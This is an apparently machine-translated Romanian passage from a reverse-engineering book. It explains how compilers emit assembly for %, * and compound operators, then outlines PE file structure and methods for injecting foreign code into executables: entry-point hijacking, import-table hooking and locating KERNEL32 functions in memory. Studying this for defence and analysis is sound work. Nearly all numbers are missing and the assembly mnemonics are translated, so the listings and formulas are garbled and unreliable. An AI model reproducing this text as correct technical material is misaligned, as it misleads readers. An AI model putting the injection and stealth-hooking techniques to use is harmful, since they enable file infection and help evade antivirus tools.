a / , var a / ) oh eh, eh ; Revenim nul pop ebx pop ebp ; Închideți cadrul stivei retn principal endp % identificare operator Nu există o instrucțiune specială pentru calcularea restului în setul de instrucțiuni pentru microprocesor x ; în schimb, restul, împreună cu coeficientul, este returnat de instrucțiunile de împărțire DIV, IDIV și FDIVx Consultați secțiunea anterioară „Identificarea operatorului /” Capitolul Identificarea operatorilor matematici Dacă divizorul este o putere de doi ( N = b), iar dividendul este un număr fără semn, atunci restul va fi cei N biți cei mai puțin semnificativi ai dividendului Dacă dividendul este semnat, pentru a păstra semnul numărului, trebuie să setați toți, cu excepția primilor N biți, egali cu bitul de semn Mai mult, dacă primii N biți sunt egali cu zero, toți biții rezultatului trebuie resetati, indiferent de valoarea bitului de semn Astfel, dacă dividendul este un număr fără semn, atunci expresia a % N este tradusă în construcție: și a, N, în caz contrar, traducerea devine ambiguă - compilatorul poate introduce o verificare explicită pentru egalitatea la zero cu ramificare, sau poate utilizați algoritmi matematici complicati, dintre care cel mai popular arată astfel: dec x\ sau x, -n\ inc x Întregul truc este că, dacă primii N biți ai lui x sunt zero, atunci toți biții din rezultat, cu excepția celui mai semnificativ, bitul cu semn, vor fi garantați a fi egali cu unu, iar instrucțiunea sau x, -N va forța cel mai semnificativ bit la unu, adică va obține o valoare egală cu - Și inc - va da zero! Dimpotrivă, dacă cel puțin unul dintre cei N biți inferiori este egal cu unul, atunci împrumutul de la biții înalți nu are loc, iar instrucțiunea inc x returnează valoarea inițială a lui x Compilatoarele avansate de optimizare pot folosi transformări complexe pentru a înlocui diviziunea cu o serie de alte operații mai rapide Din păcate, nu există algoritmi pentru calcularea rapidă a restului pentru toți divizorii, iar divizorul trebuie să fie un multiplu al x e, unde k și t sunt niște numere întregi Apoi, restul poate fi calculat folosind următoarea formulă: N t a t a % b = a % k * = a - ( (- * - jj) & - ) * k Da, această formulă este foarte complexă, iar identificarea unui operator % optimizat poate fi foarte, foarte dificilă, mai ales având în vedere tendințele de reordonare ale optimizarii compilatoarelor Luați în considerare exemplul din Lista - Lista % identificare operator principal() ( int a; printf("%x %x\n", a % , a % ); Când compilează acest exemplu cu compilatorul implicit Microsoft Visual C++, ar trebui să arate ca Lista - Lista Rezultatul compilației unui exemplu care demonstrează identificarea operatorului % folosind compilatorul Microsoft Visual C++ cu setări implicite proc principal lângă COD XREF: start+AF-hp var = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ecx ; Rezervăm memorie pentru o variabilă locală mov eax, [ebp+var a] ; Introduceți valoarea variabilei var a în EAX Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt cdq ; Extindem EAX la sfert de cuvânt EDX:EAX mută ex, OAh ; Introducem valoarea OxA în ECX idiv exp ; Împărțim EDX:EAX (var a) la ECX (ОхА) împinge edx ; Trecem restul diviziunii lui var a cu xA la funcția printf mov edx, [ebp+var a] ; Introducem valoarea variabilei var a în EDX și edx, Fh ; „Tăiați” bitul semn și cei patru biți cei mai puțin semnificativi ai numărului ; Cei patru biți mai puțin semnificativi conțin restul de EDX împărțit la ]ns scurt loc ; Dacă numărul nu este negativ, atunci săriți la os dec edx sau edx, OFFFFFFFOh inc edx ; Această secvență, așa cum am menționat mai devreme, este tipică pentru rapid ; calculând demisia unui număr semnat ; Prin urmare, ultimele șase instrucțiuni reprezintă: ; EDX = var a % os : C DE XREF: Tip+IET] împinge edx push offset aXX ; „%x %x\n” apelați printf adăugați esp, OCh ; printf("%x %x\n",var a % OxA, var a % ) mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal În mod curios, optimizarea nu afectează algoritmul de calcul al restului Din păcate, nici Microsoft Visual C++ și nici alți compilatori nu pot calcula restul prin înmulțire Identificarea operatorului * În general, operatorul * se traduce fie în instrucțiunea de mașină mul (înmulțire întreg fără semn), imul (înmulțire întreg cu semn), fie fmulx (înmulțire reală) Dacă unul dintre factori este un multiplu al unei puteri de doi, atunci mul (imul) este de obicei înlocuit cu instrucțiunea shl bit shift left sau instrucțiunea lea, care poate multiplica conținutul registrelor cu , și Ambele dintre instrucțiunile din urmă sunt executate într-un ciclu, în timp ce mul necesită, în funcție de modelul procesorului, de la două până la nouă cicluri În plus, lea reușește să adauge rezultatul înmulțirii cu conținutul registrului de uz general în același ciclu Capitolul Identificarea operatorilor matematici și/sau o constantă de pornire Acest lucru vă permite să înmulțiți cu , și prin simpla adăugare a valorii sale la registrul care este înmulțit Ei bine, acesta nu este un basm? Adevărat, lea are un dezavantaj - poate provoca o blocare a generării adresei (Address Generation Interlock, AGI) , care în cele din urmă reduce toate câștigurile de performanță la nimic Luați în considerare exemplul din Lista - = Lista , Identificarea operatorului „**' principal() int a; printf("%x %x %x\n", a * , a * + , a * ); Compilarea acestui exemplu folosind Microsoft Visual C++ cu setări implicite ar trebui să arate ca Lista - - Lista L Rezultatul compilării unui exemplu care demonstrează identificarea operatorului; multiplicare, folosind Microsoft Visual C++ cu setări implicite proc principal lângă ; C DE XREF: start+AF^p var a = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ecx ; Rezervăm spațiu pentru variabila locală var a mov eax, [ebp+var a] ; Încărcăm valoarea variabilei var a în EAX imul eax, ODh ; Înmulțim var a cu OxD, scriind rezultatul în EAX împinge max ; Trecem produsul var a * OxD la funcția printf mov ex, [ebp+var a] ; Încărcați valoarea var a în ECX lea edx, ds: [ecx* ] ; Înmulțiți ECX cu și adăugați la rezultat, scriind ; este în EDX Și toate acestea se fac într-un singur ciclu! împinge edx ; Trecem rezultatul var a * + la funcția printf De regulă, este necesar un ciclu de ceas pentru a calcula adresa cerută de instrucțiunea de memorie Dar dacă adresa depinde de rezultatul instrucțiunii executate la ciclul anterior, trebuie așteptat încă un ciclu Aceasta este blocarea generării adresei Mai multe informații despre acest subiect pot fi găsite la: http://www agner org/optimize/ Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt mov eax, [ebp+var a] ; Încărcăm valoarea variabilei var a în EAX shl ex, ; Înmulțim var a cu împinge max ; Trecem produsul lui var a * la funcția printf compensare aXXX printf mai ales, iată push call add ; printf("%x %x %x\n", vara*OxD) mov esp, ebp pop ebp ; Închideți cadrul stivei, retn endp principal Cu excepția apelului la printf și a încărcării variabilei var a din memorie, totul necesită doar trei cicluri ale procesorului Și ce se întâmplă dacă compilați acest exemplu în modul de optimizare maximă (cu tasta /Ox)? Rezultatul compilației este afișat în Lista ; Lista Rezultatul compilării unui exemplu care demonstrează identificarea operatorului; multiplicare folosind Microsoft Visual C++ în modul de optimizare maximă ; COD XREF: start+AF-Lp proc aproape împinge e ; Alocam memorie pentru variabila locala var a mov eax, [esp+var a] ; Încărcăm valoarea variabilei var a în EAX ; EDX ; Aici ; și într-un singur ciclu (') Da, ambele instrucțiuni LEA sunt în regulă ; partener pe Pentium MMX și Pentium Pro' deci compilatorul a reușit să înmulțească var a cu , ESC EAX* ; ECX Apăsaţi Apăsaţi ; Trecem funcțiile printf var a * și var a * shl ex, ; Înmulțim var a cu push push call Capitolul Identificarea operatorilor matematici adăugați esp, h ; printf("%x %x\n", var a * , var a * + , var a * ) retn endp principal Acest cod, totuși, nu este încă mai rapid decât cel neoptimizat (vezi listarea ) și se încadrează în aceleași trei cicluri, dar în alte cazuri câștigul poate fi destul de tangibil Alți compilatori folosesc, de asemenea, lea pentru a înmulți rapid numerele Aici, de exemplu, Borland face ceea ce este arătat în lista Lista Rezultatul compilării unui exemplu care demonstrează identificarea operatorului de multiplicare folosind Borland C++ proc principal lângă DATE XREF: DATE: ^ lea edx, [eax+eax* ] ; EDX = var a* mov ecx, eax ; Încărcăm variabila de registru neinițializată var a în ECX shl ecx ; ECX = var a * împinge ebp ; Salvați EBP adăugați ecx, ; Adăugăm valoarea la var a * ; Borland nu folosește LEA pentru adăugare E pacat lea edx, [eax+edx* ] ; EDX = var a + (var a * ) * = var a * ; Dar în asta Borland și MS sunt unanimi :-) mov ebp, esp ; Deschiderea cadrului stivei ; Da, da, așa în mijlocul funcției și deschis ; Mai sus, apropo, este comanda push EUR „pierdută” împinge edx ; Transmitem printf produsul var a * shl ex, ; Înmulțiți ((var a * ) + ) cu ; Ce este? Da, acesta este o eroare a compilatorului care a calculat: o dată o variabilă ; var a nu este inițializată, atunci nu poate fi încărcată împinge ex împinge max push offset aXXX ; „%x %x %x\n” apelați printf adauga esp, Oh xor eax, eax pop ebp retn principal endp Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Deși „vizual” Borland generează cod mai „prost”, execuția acestuia se încadrează în aceleași trei cicluri ale procesorului Un alt lucru este Watcom, care arată un rezultat deprimant înapoi în comparație cu precedentele două compilatoare (Listing ) Lista Rezultatul compilării unui exemplu care demonstrează identificarea operatorului \ multiplicare folosind compilatorul Watcom C proc principal aproape împinge ebx ; Salvăm EBX pe stivă mov eax, ebx ; Încărcați în EAX valoarea unui registru neinițializat ; variabila var a shl ex, ; EAX = var a * sub eax, ebx ; EAX = var a * - var a = var a * ; Asta este WATCOM! Mai întâi se înmulțește „cu o marjă”, apoi prea mult ; scade shl ex, ; EAX = var a * * = var a * adăugați eax, ebx ; EAX = var a * + var a = var a * ; asa, nu? Patru instrucțiuni în timp ce „urate” de mulți ; Microsoft Visual C++ se descurcă bine cu două împinge max ; Transmitem printf valoarea var a * mov eax, ebx ; Încărcați în EAX valoarea unui registru neinițializat ; variabila var a shl ex, ; EAX = var a * adăugați ex, ; EAX = var a * + ; Da, nici LEA WATCOM nu-l poate folosi! împinge max ; Trecem la printf valoarea var a * + shl ebx ; ebx = var a * împinge ebx ; Transmitem printf valoarea var a * Apăsaţi apel compensare aXXX printf ; „%x %x %x\n” Capitolul Identificarea operatorilor matematici adăugați esp, h ; printf("%x %x\n",var a * , vara * + , var a* ) pop ebx retn main endp Drept urmare, codul generat de compilatorul Watcom necesită șase cicluri de ceas, adică de două ori mai mult decât cel al concurenților Operatori complexi Limbajul C\C++ se compară favorabil cu majoritatea concurenților săi prin sprijinirea operatorilor complecși: x= (unde x este orice operator elementar), ++ și Operatorii complecși ai familiei a x = b sunt translați a = a x b și sunt identificați în același mod ca și operatorii elementari Operatorii ++ și în forma de prefix sunt exprimați prin construcțiile banale a = a + și a = a - , care nu ne interesează, dar forma postfix este o altă chestiune PARTEA IV METODE AVANSATE DEMONTAREA Capitolul Dezasamblarea fișierelor PE pe de biți Injectarea codului de la terți în fișierele PE este o sarcină promițătoare și netrivială, care este interesantă nu numai pentru scriitorii de viruși, ci și pentru dezvoltatorii de protectori/pachetori cu balamale În ceea ce privește latura etică a problemei, politica de a păstra sub secret tehnologiile avansate nu face decât să mărească amploarea epidemilor virale Când vine vorba de o luptă, niciunul dintre programatorii de aplicații (și administratorii!) nu este pregătit pentru ea În tabăra programatorilor de sistem, lucrurile stau și mai rău Nu există coduri sursă pentru sistemul de operare, formatul PE este documentat cumva, comportamentul bootloader-ului nu respectă deloc nicio logică, iar dezasamblarea nu garantează că alți bootloader se vor comporta la fel Până în prezent, nu există un singur packer/protector mai mult sau mai puțin corect pentru Windows care să susțină pe deplin specificația proprietară și să ia în considerare caracteristicile nedocumentate ale comportamentului încărcătoarelor de sistem în sistemele de operare din familia Windows Ar fi bine să tacem despre diverși emulatori, cum ar fi, de exemplu, wine, doswin , deși suntem tentați să spunem că fișierele împachetate de ASPack într-un mediu doswin fie nu pornesc deloc, fie funcționează extrem de instabil și totul pentru că ASPack Packer nu respectă specificația, bazându-se pe acele caracteristici ale încărctorului de sistem, a căror continuitate nimeni nu a promis nimănui În cel mai bun caz, autorii emulatorilor adaugă soluții alternative produselor lor, în cel mai rău caz, lasă totul „ca atare” Și cum rămâne cu restaurarea obiectelor deteriorate? Multe fișiere nu funcționează după infecție, iar încercarea de a le vindeca cu un antivirus nu face decât să agraveze situația Orice profesionist care se respectă ar trebui să fie pregătit să curețe virusul manual, cu nimic altceva decât un editor hexadecimal la îndemână! Același lucru este valabil și pentru îndepărtarea packerelor/decontaminarea dispozitivelor de protecție cu balamale De fapt, orice intervenție în structura fișierului executabil finit este un eveniment destul de riscant, iar șansa de a-l menține să funcționeze pe toate platformele este destul de mică Cu toate acestea, dacă aveți nevoie de el, atunci vă rugăm să luați în serios designul codului injectat și să urmați recomandările date în acest capitol Caracteristici ale structurii fișierelor PE în implementări specifice Există multe descrieri ale formatului PE, dar niciuna dintre ele nu este cu adevărat bună Specificația oficială, Microsoft Portable Executable și Common Object File Format Specification, este ambiguă și greu de înțeles Chiar și printre angajați Cea mai recentă versiune a acestei specificații poate fi descărcată de la http://www microsoft com/whdc/system/platform/firmware/PECOFF mspx Partea IV Tehnici avansate de dezasamblare Nu există un consens în rândul Microsoft cu privire la modul exact de interpretare, iar diferitele încărcătoare de încărcare se comportă semnificativ diferit În ceea ce privește dezvoltatorii terți, aici există o confuzie completă Înțelegerea structurii unui executabil finit nu vă oferă posibilitatea de a asambla manual astfel de fișiere Sistemele de operare ne impun restricții foarte stricte, adesea nemenționate deloc în documentație și variind de la un sistem de operare la altul Dezasamblarea nucleului nu este deloc utilă, dar în niciun caz nu trebuie să vă bazați complet pe rezultatele obținute fără a le verifica pe alte sisteme de operare! A crede în specificații este cel puțin naiv, pentru că fiecare specificație este doar cuvinte, iar fiecare cod de program este doar un caz special de implementare Ambele sunt impermanente și schimbătoare Concepte și cerințe generale pentru fișierele PE Din punct de vedere structural, un fișier PE constă dintr-un antet (antet), imagine de pagină (pagină imagine) și o suprapunere opțională (suprapunere) Reprezentarea unui fișier PE în memorie se numește imaginea sa virtuală sau pur și simplu imagine, iar pe disc se numește fișier sau imagine disc Dacă nu se specifică altfel, o imagine este întotdeauna înțeleasă ca o imagine virtuală Imaginea este caracterizată de două componente fundamentale - adresa de încărcare de bază (baza imaginii) și dimensiunea (dimensiunea imaginii) În prezența informațiilor de relocare (tabel de relocare/reparare), imaginea poate fi încărcată la o adresă diferită de adresa de încărcare de bază și atribuită direct de sistemul de operare însuși Imaginea este împărțită în mod natural în pagini (pagini), iar fișierul - în sectoare (sectoare) Dimensiunea virtuală a paginilor/sectoarelor este setată în mod explicit în antetul fișierului și nu trebuie să se potrivească cu cea fizică Bootloader-ul necesită continuitate din imagine, dar documentația evită această problemă Pe toată lungimea dintre baza imaginii și (baza imaginii + dimensiunea imaginii) nu ar trebui să existe o singură pagină orfană care să nu aparțină nici antetului, nici secțiunilor - un astfel de fișier pur și simplu nu va fi încărcat În orice parte a fișierului pot exista câte sectoare orfane doriți Fiecare sector poate mapa la orice număr de pagini (o pagină la un moment dat), dar nicio pagină nu poate mapa mai mult de un sector la aceeași regiune de memorie Trei scheme de adresare diferite sunt utilizate pentru a lucra cu fișierele PE: □ Adrese fizice, numite și pointeri bruti sau offset (pointeri bruti/offset brut, sau doar offset), numărate de la începutul fișierului □ Adrese virtuale (sau VA pe scurt), numărate de la începutul spațiului de adrese al procesului □ Adrese virtuale relative (sau RVA pe scurt), măsurate din adresa de bază de descărcare Toate aceste adrese sunt măsurate în octeți și stocate în pointeri de de biți Paragrafele au demodat de mult, ceea ce este păcat De fapt, există un al patrulea tip de adresare - RRA, care înseamnă Adresă relativă brută (adrese relative brute) sau Adresă relativă relativă (adrese relative relative) O imagine de pagină este formată din una sau mai multe secțiuni Fiecărei secțiuni sunt asociate patru atribute: adresa fizică a începutului secțiunii din fișier/dimensiunea secțiunii din fișier, adresa virtuală a secțiunii din memorie/dimensiunea secțiunii din memorie și atributul de caracteristicile secțiunii care descrie adevărul accesului, caracteristicile procesării acestuia de către sistem Este mai corect să vorbim de o porțiune minimă (cuantică) de date egală cu factorul de aliniere ales pe disc și în memorie, dar tastarea constantă a acesteia pe tastatură este prea lungă și plictisitoare În PE , toți pointerii sunt pe de biți Capitolul Dezasamblarea fișierelor PE pe de biți un bootloader întunecat, etc Aproximativ vorbind, secțiunea are dreptul de a decide singură de unde și de unde să pornească Cu toate acestea, această libertate este foarte condiționată și sunt impuse multe restricții asupra gamei de valori alese Începutul fiecărei secțiuni în memorie sau pe disc coincide întotdeauna cu începutul ^paginilor/sectoarelor virtuale, respectiv O încercare de a crea o secțiune începând de la mijloc este sever suprimată de încărcătorul de sistem, care refuză să proceseze un astfel de fișier Odată cu finalul, se dezvoltă o situație mai democratică, iar încărcătorul nu necesită ca dimensiunea virtuală (și, parțial, fizică) a secțiunilor să fie un multiplu al dimensiunii paginii În schimb, aliniază secțiunile de la sine, umplându-le „cozile” cu zerouri, astfel încât nicio pagină (sector) să nu aparțină la două sau mai multe secțiuni simultan De fapt, aceasta este o farsă completă - dimensiunea nealiniată (în antet!) este aliniată automat în imaginea paginii, astfel încât autoritatea de verificare care ni s-a prezentat se dovedește a fi o ficțiune completă Toate secțiunile sunt absolut egale, iar tipul fiecăreia dintre ele este strâns legat de atributele sale, care sunt interpretate într-un mod destul de ambiguu și contradictoriu În realitate, avem două atribute hardware și două software: Accessible / Writeable și Shared / Loadable (acesta din urmă este condiționat), respectiv Aici ar trebui să dansezi! Orice altceva este din domeniul conceptelor abstracte „Secțiunea de cod”, „secțiunea de date”, „secțiunea de import” nu sunt altceva decât expresii figurative, un fel de vestigiu al antichității, moștenit din modelul memoriei de segmente, când codul, datele și stiva se aflau într-adevăr în segmente diferite și erau nu sunt reunite într-una singură așa cum se întâmplă acum Structurile de date ale serviciului (tabele de export, import, elemente flotante) pot fi localizate în orice secțiune cu atribute de acces adecvate Bunele maniere dictau odată ca fiecare masă să fie plasată în propria sa secțiune personală, dar această tehnică este acum depășită Acum a fost înlocuit de anarhie, iar conținutul tabelelor de servicii este mânjit într-un strat subțire pe întreaga imagine a paginii, ceea ce complică semnificativ algoritmul de inserare în fișierul executabil Suprapunerea, în definiția sa canonică, redusă la partea „coadă” a fișierului care nu este încărcat în memorie, fișierele PE pot fi localizate oriunde în imaginea discului, inclusiv în mijloc Într-adevăr, dacă între două secțiuni adiacente există mai multe sectoare fără proprietar care nu au fost privatizate de nicio secție, atunci astfel de sectoare vor rămâne fără reprezentare în memorie și vor avea toate motivele să se considere suprapuneri Cu toate acestea, nu contează cine cred ei că sunt Este important pe cine sunt considerați de alții, pentru că o părere pe care nimeni nu o împărtășește, se învecinează cu schizofrenia Strict vorbind, ele pot fi numite suprapuneri doar în sens figurat Specificația pentru fișierele PE nu recunoaște acest termen și nu oferă niciun mecanism de suport, chiar și cel mai primitiv, cu suprapuneri API Win (cu excepția, desigur, I/O primitive) Atenţie! Acest capitol nu trebuie citit ca un roman de aventuri sau o poveste polițistă Pentru a obține o înțelegere normală a informațiilor prezentate aici, va trebui să vă înconjurați cu teancuri de tipărite și, înarmat cu un editor hexadecimal, să însoțiți lectura articolului prin deplasarea cursorului peste fișier pentru a „atinge” în mod independent toate structurile descrise aici Fie ca cel ce merge să stăpânească drumul! Când ajungeți la final, veți înțelege de ce unele fișiere ambalate ASPack/ASPrpotect nu funcționează și cum să le remediați, ca să nu mai vorbim că veți putea crea fișiere absolut legale pe care niciun dezasamblator nu le dezasambla vreodată! Structura fișierului PE Toate fișierele PE fără excepție (Fig ), inclusiv driverele de sistem, încep cu un antet MS-DOS (antet MZ), urmat de un dos-stub (MS-DOS în mod real stub sau pur și simplu stub), afișând de obicei un dezamăgitor mesaj, deși în unele Partea a IV-a Tehnici avansate de dezasamblare În unele cazuri, poate chiar să încapsuleze versiunea MS-DOS a programului (deși acest lucru este rar) Matt Pietrek în „Windows System Programming Secrets” scrie că după ce bootloader-ul win mapează un fișier PE în memorie, primul octet al hărții fișierului corespunde primului octet al stub-ului DOS Nu este adevarat! Primul octet al mapării corespunde primului octet al fișierului în sine, adică maparea începe întotdeauna cu semnătura mz, care poate fi verificată cu ușurință prin încărcarea fișierului în depanator și vizualizarea dump-ului acestuia Format de fișier PE Antet MS-DOS (MZHeader) MS-DOS-stub real re'mm Semnătura fișierului PE Antetul fișierului P E Antet PE opțional a cap sectiune de text Antetul secțiunii bss antetul secțiunii rdata antetul secțiunii debug secțiunea de text secţiunea bss rdata sectiunea secțiunea de depanare Orez Reprezentarea schematică a structurii unui fișier PE Antetul PE, care în majoritatea covârșitoare a cazurilor începe imediat după sfârșitul stub-ului DOS, poate fi de fapt localizat oriunde în fișier - chiar și la mijloc, chiar la sfârșit, deoarece încărcătorul își determină poziția prin cuvântul dublu e lfanew a fost deplasat cu Ch octeți de la începutul fișierului Antetul PE este o structură de date iSh-byte care descrie caracteristicile fundamentale ale fișierului și conține semnătura pe\x \x , prin care este identificat fișierul Imediat după sfârșitul antetului PE, există un antet opțional (opțional) care specifică structura imaginii paginii mai detaliat (adresa de încărcare de bază, dimensiunea imaginii, nivelul de aliniere - toate acestea și multe altele sunt specificate în el) Numele „opțional” a fost ales nu foarte bine și se corelează slab cu realitatea din jur, deoarece fără antetul opțional fișierul pur și simplu nu se va încărca În acest caz, deci M Pitrek „Secretele programării sistemului în Windows ” - Kiev: Dialectică, Capitolul Dezasamblarea fișierelor PE pe de biți este atunci "optional" daca este obligatoriu? Cu toate acestea, când formatul PE tocmai era în curs de dezvoltare, totul era diferit, iar acum suntem nevoiți să ducem această moștenire a antichității cu noi O structură importantă a antetului opțional este structura data directory, care este o serie de pointeri către structurile de date subordonate, inclusiv: tabele de export și import, informații de depanare, un tabel de elemente relocabile etc Mărimea tipică a antetului opțional este EOh octeți, dar poate varia în funcție de una sau de cealaltă parte, ceea ce este determinat de completarea structurii data directory, precum și de cantitatea de gunoi dincolo de capătul său Poate suna amuzant, dar dimensiunea antetului opțional este stocată în antetul PE, astfel încât cele două structuri sunt strâns legate Sfârșitul antetului opțional este urmat de teritoriul suveran ocupat de tabelul de secțiuni Afilierea sa politică este foarte condiționată Nu aparține niciunuia dintre titluri și, aparent, este un titlu independent de tip nenumit Injectarea rară într-un fișier executabil face fără editarea tabelului de secțiuni, așa că această structură este de o importanță cheie pentru noi Dincolo de capătul mesei de secțiuni se afla un teren mlăștinos, al nimănui, care nu aparținea nici titlurilor, nici secțiilor Această zonă a fost formată ca urmare a alinierii adreselor fizice ale secțiunilor cu mai multe adrese În funcție de un număr de circumstanțe, care sunt analizate în detaliu în cursul prezentării materialului, această memorie poate fi fie mapată la spațiul de adresă al procesului, fie nu mapată la acesta Ar trebui să fie tratat cu grijă extremă, deoarece suprapunerea cuiva, codul executabil sau structura de date pot fi localizate aici - de exemplu, un tabel de import de interval (tabel de import legat) Pornind de la offset-ul brut al primei secțiuni specificate în tabelul de secțiuni, imaginea paginii se extinde, sau mai bine zis, imaginea de disc împachetat „Ambalat” în sensul că dimensiunile fizice ale secțiunilor (inclusiv alinierea) includ doar date inițializate și teoretic nu ar trebui să conțină nimic în plus Dimensiunea virtuală a secțiunilor poate depăși semnificativ dimensiunea fizică, ceea ce se întâmplă tot timpul cu secțiunile de date În memorie, secțiunile sunt întotdeauna ordonate, ceea ce nu este cazul unei imagini de disc Pe lângă „găurile” rămase de la aliniere, suprapunerile pot fi plasate între secțiuni În plus, ordinea secțiunilor în memorie și pe disc nu coincide întotdeauna Unele secții au o reprezentare permanentă în memorie, altele sunt folosite doar pentru perioada de încărcare, după care pot fi oricând evacuate necondiționat de acolo (nu aruncate în swap, ci expulzate) În ceea ce privește al treilea, ele nu sunt niciodată încărcate în memorie, ei bine, cu excepția poate pe părți În special, secțiunea cu informații de depanare se comportă exact așa Cu toate acestea, informațiile de depanare nu trebuie să fie sub forma unei secțiuni separate și, mai des, sunt „conectate” la fișier sub forma unei suprapuneri După sfârșitul ultimei secțiuni, există de obicei niște octeți nedoriți lăsați de linker din cauza neglijenței Aceasta nu este o suprapunere (nu este niciodată accesată), deși ceva foarte asemănător cu ea Desigur, pot exista mai multe suprapuneri - încărcătorul de sistem nu impune nicio restricție în acest sens, cu toate acestea, nu oferă mecanisme unificate pentru lucrul cu suprapuneri Programul care și-a creat propria suprapunere trebuie să funcționeze singur cu acesta, folosind API-ul de intrare/ieșire Pe scurt, reprezentarea fizică a executabilului este o veritabilă plapumă mozaică, care amintește de o hartă politică a lumii pe care o faci singur Notă O descriere completă și detaliată a structurii fișierelor PE nu este furnizată în versiunea tipărită a acestei cărți O descriere mai detaliată a celor mai interesante și puțin cunoscute câmpuri, proprietăți și caracter Dacă există gunoi, deși este foarte recomandat să le evitați Cu toate acestea, „ieșirea” nu funcționează în principiu, deoarece fișierul descărcat este doar pentru citire și scrierea în el este blocată strâns Partea a IV-a Tehnici avansate de dezasamblare Politica fișierelor PE poate fi găsită pe CD-ul care însoțește această carte Cu toate acestea, nici măcar aceste informații nu sunt complete Așa că cititorii interesați sunt sfătuiți să citească cartea menționată anterior de Matt Pietrek, specificația oficială Microsoft și, de asemenea, să examineze cu atenție Fișierul Wmnt h inclus cu produsul Windows Platform SDK, care este disponibil pentru descărcare gratuită de pe site-ul oficial al Microsoft Tehnici pentru injectarea și eliminarea codului din fișierele PE Strict vorbind, este mai bine să nu atingeți fișierul executabil al altcuiva, deoarece nu se știe dinainte la ce anume se leagă și ce structuri de date controlează Pe de altă parte, comportamentul marii majorități a fișierelor este destul de previzibil și este încă posibil să se încorporeze în ele Mecanismele de încorporare în fișierele PE sunt foarte diverse, dar sunt descrise destul de superficial în literatura disponibilă Această secțiune este o încercare de a sistematiza și clasifica toate metodele cunoscute de implementare Materialul va fi de interes nu numai pentru specialiștii în securitatea informațiilor specializați în identificarea și eliminarea virușilor, ci și pentru dezvoltatorii de protecții articulate și de ambalare Scopul său principal este de a arăta ce căi de injectare există, ce să căutați atunci când căutați cod străin și cum să reparați un fișier corupt de o injecție incorectă Conceptul de cod X și alte convenții Codul care este încorporat în fișier, îl vom numi codul X Această definiție include orice cod pe care îl încorporăm în fișierul de transport, de exemplu, instrucțiuni nop În cazul general, nu se știe nimic despre abilitățile de reproducere ale codului X și, pentru simplitate, vom presupune că codul X nu se auto-reproduce Persoana care conduce programul care implementează implementarea își asumă întreaga responsabilitate pentru implementare Acest program, după ce s-a asigurat mai întâi că purtătorul de fișiere are permisiuni de scriere (și aceste drepturi sunt din nou date de o persoană) și compatibilitatea sa cu strategia de implementare aleasă, scrie codul X în interiorul fișierului și realizează o interceptare extrem de manevrabilă a Control Pentru a economisi spațiu în text, sunt utilizate următoarele abrevieri general acceptate: □ fa - File Alignment - alinierea fizică a secțiunilor □ SA, od - Section Alignment sau Object Alignment - alinierea virtuală a secțiunilor □ rva Adresă virtuală relativă □ FS - Prima secțiune - prima secțiune a fișierului □ ls - Ultima secțiune - ultima secțiune a fișierului □ cs - Secțiunea curentă - secțiunea curentă a fișierului □ NS - Secțiunea următoare - secțiunea următoare a fișierului □ ѵ a - Adresă virtuală - adresa virtuală □ v sz - Dimensiune virtuală - dimensiune virtuală □ D of f - offset brut - adresa fizică a începutului secțiunii □ f sz - dimensiunea brută - dimensiunea secțiunii fizice □ Structura DDIR - DATA DIRECTORY □ ep - Punct de intrare - punct de intrare Windows NT, dacă nu se specifică altfel, se referă la întreaga linie de sisteme de operare asemănătoare NT: Windoyys NT / Windows / Windows XP și mai nou și Windows x - Windows , Windows și Windows Me Acest material se află în directorul : \PART \CH \Supplementary Capitolul Dezasamblarea fișierelor PE pe de biți Un încărcător de sistem este o componentă a sistemului de operare responsabilă pentru încărcarea fișierelor executabile și a bibliotecilor dinamice Deasupra, la stânga, la vest - corespunde adreselor mai mici, ceea ce coincide cu schema naturală de afișare a unui dump de memorie de către un depanator sau dezasamblator Scopurile și obiectivele codului X X-code se confruntă cu cel puțin trei provocări majore: Puneți corpul în interiorul fișierului țintă Preluați controlul înainte de începerea sau în timpul execuției programului principal Determinați adresele funcțiilor API care sunt vitale pentru propria lor funcționare Interceptarea controlului se realizează de obicei în următoarele moduri □ Resetarea punctului de intrare în corpul codului X □ Injectarea în vecinătatea punctului inițial de intrare a comenzii de tranziție la codul X Desigur, înainte de a transfera controlul, X-code trebuie să elimine comanda, restabilind conținutul original al ep □ Prin reinstalarea unei comenzi jmp/call luate în mod arbitrar pe corpul codului X cu transferul ulterior de control la adresa originală Această tehnică nu garantează că X-code va putea prelua controlul deloc, dar îi oferă o ascundere fenomenală și o protecție maximă împotriva antivirusurilor □ Modificarea unuia sau mai multor elemente ale tabelului de import pentru a înlocui funcţiile apelate cu propriile funcţii Această tehnologie este folosită în principal de virușii stealth care își ascund cu pricepere prezența în sistem Determinarea adreselor funcțiilor API se face de obicei în următoarele moduri: □ Căutarea funcțiilor necesare în tabelul de import al fișierului purtător Fii pregătit să nu fie acolo În acest caz, fie refuzați injecția, fie utilizați o altă strategie de căutare □ Căutând LoadLibrary/GetProcAddress în tabelul de import al fișierului media și apoi importând manual toate funcțiile necesare Fiți pregătiți pentru faptul că aceste funcții nu vor fi nici în tabelul de import □ Apelând direct funcțiile API la adresele lor absolute, codificate în codul X Adresele funcțiilor KERNEL DLL/NTDLL DLL nu sunt constante și se schimbă de la o versiune la alta sistem, în timp ce adresele USER DLL și ale tuturor bibliotecilor de utilizatori nu sunt constante nici măcar într-un anumit sistem și variază în funcție de imagine Baza altor biblioteci încărcate Prin urmare, cu toată popularitatea acestei metode, este permisă utilizarea acesteia numai în scopuri educaționale și cognitive □ Adăugarea la tabelul de import a funcțiilor necesare pentru codul X, care, de regulă, sunt LoadLibrary / GetProcAddress, cu care puteți scoate orice altceva din măruntaiele sistemului (un mod destul de fiabil, deși prea vizibil) □ Căutarea directă a funcțiilor LoadLibrary/GetProcAddress în memorie Deoarece KERNEL DLL se mapează la spațiul de adrese al tuturor proceselor, iar adresa sa de bază este întotdeauna aliniată la K, trebuie doar să scanăm prima jumătate a spațiului de adresă al procesului pentru o semnătură MZ Dacă se găsește o astfel de semnătură, ne asigurăm că există o semnătură re localizată la offset-ul e lfanew de la începutul adresei de încărcare de bază Dacă este într-adevăr prezent, analizăm structura directorului de date și determinăm adresa tabelului de export în care dorim să găsim LoadLibraryA și 